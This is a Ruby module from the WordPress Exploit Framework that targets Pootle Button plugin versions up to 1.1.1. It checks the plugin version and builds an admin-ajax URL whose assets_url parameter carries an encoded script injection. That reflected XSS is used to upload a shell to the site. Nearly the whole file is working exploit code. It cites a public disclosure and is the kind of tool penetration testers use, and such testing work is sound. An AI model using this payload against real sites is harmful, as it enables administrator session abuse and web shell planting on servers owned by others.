class Wpxf::Exploit::PootleButtonReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Pootle Button <= 1.1.1 Reflected XSS Shell Upload',
      author: [
        'Ricardo Sanchez',                         # Disclosure
        'Paul Williams <phyushin[at]phyubox.com>'  # WPXF module
      ],
      references: [
        ['WPVDB', '8930'],
        ['URL', 'https://packetstormsecurity.com/files/144582/']
      ],
      date: 'Oct 12 2017'
    )
  end

  def check
    check_plugin_version_from_readme('pootle-button', '1.2.0')
  end

  def vulnerable_url
    wordpress_url_admin_ajax
  end

  def url_with_xss
    "#{vulnerable_url}?action=pbtn_dialog&assets_url=%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
  end
end
